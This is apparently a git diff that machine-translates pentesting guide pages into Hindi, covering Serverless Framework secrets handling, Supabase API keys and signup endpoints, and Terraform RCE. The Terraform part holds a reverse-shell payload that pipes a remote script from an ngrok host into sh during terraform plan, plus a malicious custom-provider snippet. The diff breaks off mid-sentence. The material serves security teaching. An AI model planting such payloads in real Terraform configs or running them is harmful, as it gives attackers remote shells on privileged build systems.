'dynamodb:PutItem' +- 'dynamodb:Get*' +- 'dynamodb:Scan*' +- 'dynamodb:UpdateItem' +- 'dynamodb:DeleteItem' +Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage} ``` +- **अलग-अलग भूमिकाएँ उपयोग करें:** फ़ंक्शन आवश्यकताओं के आधार पर भूमिकाओं में भिन्नता करें। + +--- + +### **असुरक्षित रहस्य और कॉन्फ़िगरेशन प्रबंधन** + +संवेदनशील जानकारी (जैसे, API कुंजी, डेटाबेस क्रेडेंशियल) को सीधे **`serverless.yml`** या कोड में स्टोर करना जोखिम भरा हो सकता है यदि रिपॉजिटरी से समझौता किया जाता है। + +**`serverless.yml`** फ़ाइल में पर्यावरण चर को स्टोर करने का **सिफारिश की गई** विधि serverless.com से (इस लेख के समय) `ssm` या `s3` प्रदाताओं का उपयोग करना है, जो **तैनाती के समय इन स्रोतों से पर्यावरण मान प्राप्त करने** और **लैम्ब्डा** के पर्यावरण चर को **मानों के स्पष्ट पाठ के साथ कॉन्फ़िगर** करने की अनुमति देता है! + +> [!CAUTION] +> इसलिए, AWS के अंदर लैम्ब्डा की कॉन्फ़िगरेशन पढ़ने के लिए अनुमतियाँ रखने वाला कोई भी व्यक्ति **इन सभी पर्यावरण चर को स्पष्ट पाठ में एक्सेस कर सकेगा!** + +उदाहरण के लिए, निम्नलिखित उदाहरण SSM का उपयोग करके एक पर्यावरण चर प्राप्त करेगा: +```yaml +provider: +environment: +DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} +``` And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**. > [!TIP] @@ -631,11 +585,11 @@ Outdated or insecure dependencies can introduce vulnerabilities, while improper - **Dependency Management:** Regularly update dependencies and scan for vulnerabilities. - ```yaml - plugins: - - serverless-webpack - - serverless-plugin-snyk - ``` +```yaml +plugins: +- serverless-webpack +- serverless-plugin-snyk +``` - **Input Validation:** Implement strict validation and sanitization of all inputs. - **Code Reviews:** Conduct thorough reviews to identify security flaws. @@ -651,10 +605,10 @@ Without proper logging and monitoring, malicious activities may go undetected, d - **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**. - ```yaml - plugins: - - serverless-plugin-datadog - ``` +```yaml +plugins: +- serverless-plugin-datadog +``` - **Enable Detailed Logging:** Capture essential information without exposing sensitive data. - **Set Up Alerts:** Configure alerts for suspicious activities or anomalies. @@ -670,42 +624,42 @@ Open or improperly secured APIs can be exploited for unauthorized access, Denial - **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT. - ```yaml - functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - authorizer: aws_iam - ``` +```yaml +functions: +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +authorizer: aws_iam +``` - **Rate Limiting and Throttling:** Prevent abuse by limiting request rates. - ```yaml - provider: - apiGateway: - throttle: - burstLimit: 200 - rateLimit: 100 - ``` +```yaml +provider: +apiGateway: +throttle: +burstLimit: 200 +rateLimit: 100 +``` - **Secure CORS Configuration:** Restrict allowed origins, methods, and headers. - ```yaml - functions: - hello: - handler: handler.hello - events: - - http: - path: hello - method: get - cors: - origin: https://yourdomain.com - headers: - - Content-Type - ``` +```yaml +functions: +hello: +handler: handler.hello +events: +- http: +path: hello +method: get +cors: +origin: https://yourdomain.com +headers: +- Content-Type +``` - **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns. @@ -721,142 +675,9 @@ Shared resources and inadequate isolation can lead to privilege escalations or u - **Resource Partitioning:** Use separate databases or storage buckets for different functions. - **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation. - ```yaml - provider: - vpc: - securityGroupIds: - - sg-xxxxxxxx - subnetIds: - - subnet-xxxxxx - ``` - -- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required. - ---- - -### **Inadequate Data Protection** - -Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering. - -#### **Mitigation Strategies** - -- **Encrypt Data at Rest:** Utilize cloud service encryption features. - - ```yaml - resources: - Resources: - MyDynamoDBTable: - Type: AWS::DynamoDB::Table - Properties: - SSESpecification: - SSEEnabled: true - ``` - -- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions. -- **Secure API Communication:** Enforce encryption protocols and validate certificates. -- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly. - ---- - -### **Lack of Proper Error Handling** - -Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes. - -#### **Mitigation Strategies** - -- **Generic Error Messages:** Avoid exposing internal details in error responses. - - ```javascript - javascriptCopy code// Example in Node.js - exports.hello = async (event) => { - try { - // Function logic - } catch (error) { - console.error(error); - return { - statusCode: 500, - body: JSON.stringify({ message: 'Internal Server Error' }), - }; - } - }; - ``` - -- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions. -- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users. - ---- - -### **Insecure Deployment Practices** - -Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations. - -#### **Mitigation Strategies** - -- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits. -- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data. -- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies. -- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices. - ---- - -### **Vulnerabilities in Plugins and Extensions** - -Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications. - -#### **Mitigation Strategies** - -- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources. -- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface. -- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches. -- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises. - ---- - -### **Exposure of Sensitive Endpoints** - -Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations. - -#### **Mitigation Strategies** - -- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources. -- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization. -- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting. -- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use. - ---- - -### **Excessive Permissions for Team Members and External Collaborators** - -Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats. - -#### **Mitigation Strategies** - -- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks. - ---- - -### **Access Keys and License Keys Security** - -**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI. - -- **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI. -- **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`. - -#### **Security Risks** - -1. **Exposure Through Code Repositories:** - - Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access. -2. **Insecure Storage:** - - Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage. -3. **Improper Distribution:** - - Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors. -4. **Lack of Rotation:** - - Not regularly rotating keys extends the exposure period if keys are compromised. -5. **Excessive Permissions:** - - Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources. - -{{#include ../banners/hacktricks-training.md}} - - - - +```yaml +provider: +vpc: +securityGroupIds: +- sg-xxxxxxxx +sub diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index 6fa6219f8..a1cff83c1 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -4,47 +4,46 @@ ## Basic Information -As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings. +As per their [**landing page**](https://supabase.com/): Supabase एक ओपन सोर्स Firebase विकल्प है। अपने प्रोजेक्ट को Postgres डेटाबेस, Authentication, इंस्टेंट APIs, Edge Functions, Realtime subscriptions, Storage, और Vector embeddings के साथ शुरू करें। ### Subdomain -Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`** +बुनियादी रूप से जब एक प्रोजेक्ट बनाया जाता है, तो उपयोगकर्ता को एक supabase.co उपडोमेन प्राप्त होगा जैसे: **`jnanozjdybtpqgcwhdiz.supabase.co`** ## **Database configuration** > [!TIP] -> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/database`** +> **यह डेटा एक लिंक से एक्सेस किया जा सकता है जैसे `https://supabase.com/dashboard/project//settings/database`** -This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\ -The password is a **password the user put** previously. +यह **डेटाबेस** कुछ AWS क्षेत्र में तैनात किया जाएगा, और इससे कनेक्ट करने के लिए इसे कनेक्ट करना संभव होगा: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (यह us-west-1 में बनाया गया था)।\ +पासवर्ड एक **पासवर्ड है जो उपयोगकर्ता ने पहले डाला था**। -Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**. +इसलिए, चूंकि उपडोमेन एक ज्ञात है और इसका उपयोग उपयोगकर्ता नाम के रूप में किया जाता है और AWS क्षेत्र सीमित हैं, इसलिए **पासवर्ड को ब्रूट फोर्स करने** का प्रयास करना संभव हो सकता है। -This section also contains options to: +इस अनुभाग में निम्नलिखित विकल्प भी शामिल हैं: -- Reset the database password -- Configure connection pooling -- Configure SSL: Reject plan-text connections (by default they are enabled) -- Configure Disk size -- Apply network restrictions and bans +- डेटाबेस पासवर्ड रीसेट करें +- कनेक्शन पूलिंग कॉन्फ़िगर करें +- SSL कॉन्फ़िगर करें: प्लेन-टेक्स्ट कनेक्शनों को अस्वीकार करें (डिफ़ॉल्ट रूप से ये सक्षम हैं) +- डिस्क आकार कॉन्फ़िगर करें +- नेटवर्क प्रतिबंध और प्रतिबंध लागू करें ## API Configuration > [!TIP] -> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/api`** +> **यह डेटा एक लिंक से एक्सेस किया जा सकता है जैसे `https://supabase.com/dashboard/project//settings/api`** -The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`. +आपके प्रोजेक्ट में supabase API तक पहुँचने के लिए URL होगा: `https://jnanozjdybtpqgcwhdiz.supabase.co`। ### anon api keys -It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in +यह एक **anon API key** (`role: "anon"`), जैसे: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` उत्पन्न करेगा जिसे एप्लिकेशन को API कुंजी से संपर्क करने के लिए उपयोग करने की आवश्यकता होगी जो हमारे उदाहरण में उजागर की गई है। -It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be: +इस API से संपर्क करने के लिए API REST को [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) में पाया जा सकता है, लेकिन सबसे दिलचस्प एंडपॉइंट होंगे:
Signup (/auth/v1/signup) - ``` POST /auth/v1/signup HTTP/2 Host: id.io.net @@ -69,13 +68,11 @@ Priority: u=1, i {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."} ``` -
-Login (/auth/v1/token?grant_type=password) - +लॉगिन (/auth/v1/token?grant_type=password) ``` POST /auth/v1/token?grant_type=password HTTP/2 Host: hypzbtgspjkludjcnjxl.supabase.co @@ -100,68 +97,63 @@ Priority: u=1, i {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."} ``` -
-So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**. +तो, जब भी आप किसी क्लाइंट को सुपाबेस का उपयोग करते हुए पाते हैं, जो उन्हें दिए गए उपडोमेन का उपयोग कर रहा है (यह संभव है कि कंपनी का एक उपडोमेन उनके सुपाबेस उपडोमेन पर CNAME हो), आप **सुपाबेस API का उपयोग करके प्लेटफॉर्म में एक नया खाता बनाने की कोशिश कर सकते हैं**। -### secret / service_role api keys +### गुप्त / सेवा_भूमिका API कुंजी -A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**. +एक गुप्त API कुंजी भी **`role: "service_role"`** के साथ उत्पन्न होगी। यह API कुंजी गुप्त होनी चाहिए क्योंकि यह **रो स्तर सुरक्षा** को बायपास कर सकेगी। -The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` +API कुंजी इस तरह दिखती है: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` -### JWT Secret +### JWT गुप्त -A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**. +एक **JWT गुप्त** भी उत्पन्न होगा ताकि एप्लिकेशन **कस्टम JWT टोकन बना और हस्ताक्षरित कर सके**। -## Authentication +## प्रमाणीकरण -### Signups +### साइनअप > [!TIP] -> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints. +> **डिफ़ॉल्ट** के अनुसार, सुपाबेस आपके प्रोजेक्ट पर **नए उपयोगकर्ताओं को खाते बनाने** की अनुमति देगा, जो पहले उल्लेखित API एंडपॉइंट्स का उपयोग करते हैं। -However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\ -This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those: +हालांकि, ये नए खाते, डिफ़ॉल्ट रूप से, **अपने ईमेल पते को मान्य करने की आवश्यकता होगी** ताकि वे खाते में लॉगिन कर सकें। यह **"अनाम साइन-इन की अनुमति दें"** सक्षम करने के लिए संभव है ताकि लोग अपने ईमेल पते को सत्यापित किए बिना लॉगिन कर सकें। इससे **अप्रत्याशित डेटा** तक पहुंच मिल सकती है (उन्हें `public` और `authenticated` भूमिकाएँ मिलती हैं)।\ +यह एक बहुत बुरी विचार है क्योंकि सुपाबेस सक्रिय उपयोगकर्ता के लिए शुल्क लेता है, इसलिए लोग उपयोगकर्ता बना सकते हैं और लॉगिन कर सकते हैं और सुपाबेस उन पर शुल्क लेगा:
-### Passwords & sessions +### पासवर्ड और सत्र -It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\ -It's recommended to **improve the requirements as the default ones are weak**. +यह न्यूनतम पासवर्ड लंबाई (डिफ़ॉल्ट द्वारा), आवश्यकताओं (डिफ़ॉल्ट द्वारा कोई नहीं) को इंगित करना और लीक हुए पासवर्ड का उपयोग करने से रोकना संभव है।\ +यह **अनुशंसा की जाती है कि आवश्यकताओं को सुधारें क्योंकि डिफ़ॉल्ट कमजोर हैं**। -- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...) -- Bot and Abuse Protection: It's possible to enable Captcha. +- उपयोगकर्ता सत्र: यह निर्धारित करना संभव है कि उपयोगकर्ता सत्र कैसे काम करते हैं (टाइमआउट, प्रति उपयोगकर्ता 1 सत्र...) +- बॉट और दुरुपयोग सुरक्षा: कैप्चा सक्षम करना संभव है। -### SMTP Settings +### SMTP सेटिंग्स -It's possible to set an SMTP to send emails. +ईमेल भेजने के लिए SMTP सेट करना संभव है। -### Advanced Settings +### उन्नत सेटिंग्स -- Set expire time to access tokens (3600 by default) -- Set to detect and revoke potentially compromised refresh tokens and timeout -- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default) -- Max Direct Database Connections: Max number of connections used to auth (10 by default) -- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default) +- एक्सेस टोकन के लिए समाप्ति समय सेट करें (डिफ़ॉल्ट 3600) +- संभावित रूप से समझौता किए गए रिफ्रेश टोकन का पता लगाने और रद्द करने के लिए सेट करें और टाइमआउट +- MFA: यह इंगित करें कि प्रति उपयोगकर्ता एक बार में कितने MFA कारक पंजीकृत किए जा सकते हैं (डिफ़ॉल्ट 10) +- अधिकतम डायरेक्ट डेटाबेस कनेक्शन: प्रमाणीकरण के लिए उपयोग किए जाने वाले कनेक्शनों की अधिकतम संख्या (डिफ़ॉल्ट 10) +- अधिकतम अनुरोध अवधि: अधिकतम समय जो एक प्रमाणीकरण अनुरोध के लिए अनुमति दी जाती है (डिफ़ॉल्ट 10 सेकंड) -## Storage +## संग्रहण > [!TIP] -> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets). +> सुपाबेस **फाइलों को संग्रहीत करने** और उन्हें URL के माध्यम से सुलभ बनाने की अनुमति देता है (यह S3 बकेट का उपयोग करता है)। -- Set the upload file size limit (default is 50MB) -- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` -- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) +- अपलोड फ़ाइल आकार सीमा सेट करें (डिफ़ॉल्ट 50MB) +- S3 कनेक्शन एक URL के साथ दिया गया है जैसे: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` +- यह **S3 एक्सेस कुंजी** का अनुरोध करना संभव है जो एक `access key ID` (जैसे `a37d96544d82ba90057e0e06131d0a7b`) और एक `secret access key` (जैसे `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) द्वारा बनाई जाती है। -## Edge Functions +## एज फ़ंक्शंस -It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly). +यह संभव है कि **सुपाबेस में गुप्त जानकारी संग्रहीत करें** जो **एज फ़ंक्शंस द्वारा सुलभ होगी** (इन्हें वेब से बनाया और हटाया जा सकता है, लेकिन इनका मूल्य सीधे एक्सेस करना संभव नहीं है)। {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 09b875ff2..d407529b6 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -6,303 +6,273 @@ [From the docs:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features. +HashiCorp Terraform एक **कोड के रूप में बुनियादी ढांचा उपकरण** है जो आपको **क्लाउड और ऑन-प्रेम संसाधनों** को मानव-पठनीय कॉन्फ़िगरेशन फ़ाइलों में परिभाषित करने की अनुमति देता है जिन्हें आप संस्करण, पुन: उपयोग और साझा कर सकते हैं। आप फिर अपने बुनियादी ढांचे के पूरे जीवनचक्र के दौरान सभी संसाधनों को प्रावधान और प्रबंधित करने के लिए एक सुसंगत कार्यप्रवाह का उपयोग कर सकते हैं। Terraform निम्न-स्तरीय घटकों जैसे कि कंप्यूट, स्टोरेज, और नेटवर्किंग संसाधनों के साथ-साथ उच्च-स्तरीय घटकों जैसे कि DNS प्रविष्टियों और SaaS सुविधाओं का प्रबंधन कर सकता है। -#### How does Terraform work? +#### Terraform कैसे काम करता है? -Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API. +Terraform क्लाउड प्लेटफार्मों और अन्य सेवाओं पर संसाधनों को उनके एप्लिकेशन प्रोग्रामिंग इंटरफेस (APIs) के माध्यम से बनाता और प्रबंधित करता है। प्रदाता Terraform को किसी भी प्लेटफॉर्म या सेवा के साथ काम करने में सक्षम बनाते हैं जिसमें एक सुलभ API होता है। ![](<../images/image (177).png>) -HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more. +HashiCorp और Terraform समुदाय ने पहले से ही **1700 से अधिक प्रदाता** लिखे हैं जो हजारों विभिन्न प्रकार के संसाधनों और सेवाओं का प्रबंधन करते हैं, और यह संख्या बढ़ती जा रही है। आप सभी सार्वजनिक रूप से उपलब्ध प्रदाताओं को [Terraform Registry](https://registry.terraform.io/) पर पा सकते हैं, जिसमें Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, और कई अन्य शामिल हैं। -The core Terraform workflow consists of three stages: +मुख्य Terraform कार्यप्रवाह तीन चरणों में विभाजित है: -- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer. -- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration. -- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines. +- **लिखें:** आप संसाधनों को परिभाषित करते हैं, जो कई क्लाउड प्रदाताओं और सेवाओं में हो सकते हैं। उदाहरण के लिए, आप सुरक्षा समूहों और लोड बैलेंसर के साथ एक वर्चुअल प्राइवेट क्लाउड (VPC) नेटवर्क में वर्चुअल मशीनों पर एक एप्लिकेशन तैनात करने के लिए एक कॉन्फ़िगरेशन बना सकते हैं। +- **योजना:** Terraform एक निष्पादन योजना बनाता है जो उस बुनियादी ढांचे का वर्णन करता है जिसे यह बनाएगा, अपडेट करेगा, या नष्ट करेगा जो मौजूदा बुनियादी ढांचे और आपकी कॉन्फ़िगरेशन के आधार पर है। +- **लागू करें:** अनुमोदन पर, Terraform सही क्रम में प्रस्तावित संचालन करता है, किसी भी संसाधन निर्भरताओं का सम्मान करते हुए। उदाहरण के लिए, यदि आप एक VPC की विशेषताओं को अपडेट करते हैं और उस VPC में वर्चुअल मशीनों की संख्या बदलते हैं, तो Terraform वर्चुअल मशीनों को स्केल करने से पहले VPC को फिर से बनाएगा। ![](<../images/image (215).png>) ### Terraform Lab -Just install terraform in your computer. +बस अपने कंप्यूटर में terraform स्थापित करें। -Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads). +यहाँ आपके पास एक [गाइड](https://learn.hashicorp.com/tutorials/terraform/install-cli) है और यहाँ आपके पास terraform डाउनलोड करने का [सर्वश्रेष्ठ तरीका](https://www.terraform.io/downloads) है। ## RCE in Terraform -Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**. +Terraform **कोई प्लेटफॉर्म नहीं है जो एक वेब पृष्ठ या नेटवर्क सेवा को उजागर करता है** जिसे हम सूचीबद्ध कर सकते हैं, इसलिए, terraform को समझौता करने का एकमात्र तरीका है **terraform कॉन्फ़िगरेशन फ़ाइलों को जोड़ने/संशोधित करने में सक्षम होना**। -However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly. +हालांकि, terraform एक **बहुत संवेदनशील घटक** है जिसे समझौता करना है क्योंकि इसके पास विभिन्न स्थानों तक **विशेषाधिकार प्राप्त पहुंच** होगी ताकि यह सही तरीके से काम कर सके। -The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**. +एक हमलावर के लिए उस सिस्टम को समझौता करने का मुख्य तरीका जहां terraform चल रहा है, है **terraform कॉन्फ़िगरेशन को स्टोर करने वाले रिपॉजिटरी को समझौता करना**, क्योंकि किसी बिंदु पर उन्हें **व्याख्या** किया जाएगा। -Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**: +वास्तव में, वहाँ ऐसे समाधान हैं जो **PR बनने के बाद स्वचालित रूप से terraform plan/apply निष्पादित करते हैं**, जैसे कि **Atlantis**: {{#ref}} atlantis-security.md {{#endref}} -If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`. +यदि आप एक terraform फ़ाइल को समझौता करने में सक्षम हैं, तो जब कोई `terraform plan` या `terraform apply` निष्पादित करता है, तो RCE करने के लिए आपके पास विभिन्न तरीके हैं। ### Terraform plan -Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`. +Terraform plan terraform में **सबसे अधिक उपयोग किया जाने वाला कमांड** है और डेवलपर्स/समाधान जो terraform का उपयोग करते हैं, इसे हमेशा कॉल करते हैं, इसलिए **RCE प्राप्त करने का सबसे आसान तरीका** यह सुनिश्चित करना है कि आप एक terraform कॉन्फ़िगरेशन फ़ाइल को विषाक्त करें जो `terraform plan` में मनमाने आदेशों को निष्पादित करेगी। -**Using an external provider** +**एक बाहरी प्रदाता का उपयोग करना** -Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`. - -Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`: +Terraform [`external` प्रदाता](https://registry.terraform.io/providers/hashicorp/external/latest/docs) प्रदान करता है जो Terraform और बाहरी कार्यक्रमों के बीच इंटरफेस करने का एक तरीका प्रदान करता है। आप `plan` के दौरान मनमानी कोड चलाने के लिए `external` डेटा स्रोत का उपयोग कर सकते हैं। +एक terraform कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित की तरह कुछ इंजेक्ट करने से `terraform plan` निष्पादित करते समय एक रिवर्स शेल निष्पादित होगा: ```javascript data "external" "example" { - program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] +program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` +**कस्टम प्रदाता का उपयोग करना** -**Using a custom provider** - -An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)): - +एक हमलावर [कस्टम प्रदाता](https://learn.hashicorp.com/tutorials/terraform/provider-setup) को [Terraform Registry](https://registry.terraform.io/) पर भेज सकता है और फिर इसे एक फीचर ब्रांच में Terraform कोड में जोड़ सकता है ([यहां से उदाहरण](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript - terraform { - required_providers { - evil = { - source = "evil/evil" - version = "1.0" - } - } - } +terraform { +required_providers { +evil = { +source = "evil/evil" +version = "1.0" +} +} +} provider "evil" {} ``` - The provider is downloaded in the `init` and will run the malicious code when `plan` is executed You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) -**Using an external reference** +**एक बाहरी संदर्भ का उपयोग करना** -Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions: - -- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: +दोनों उल्लेखित विकल्प उपयोगी हैं लेकिन बहुत छिपे हुए नहीं हैं (दूसरा अधिक छिपा 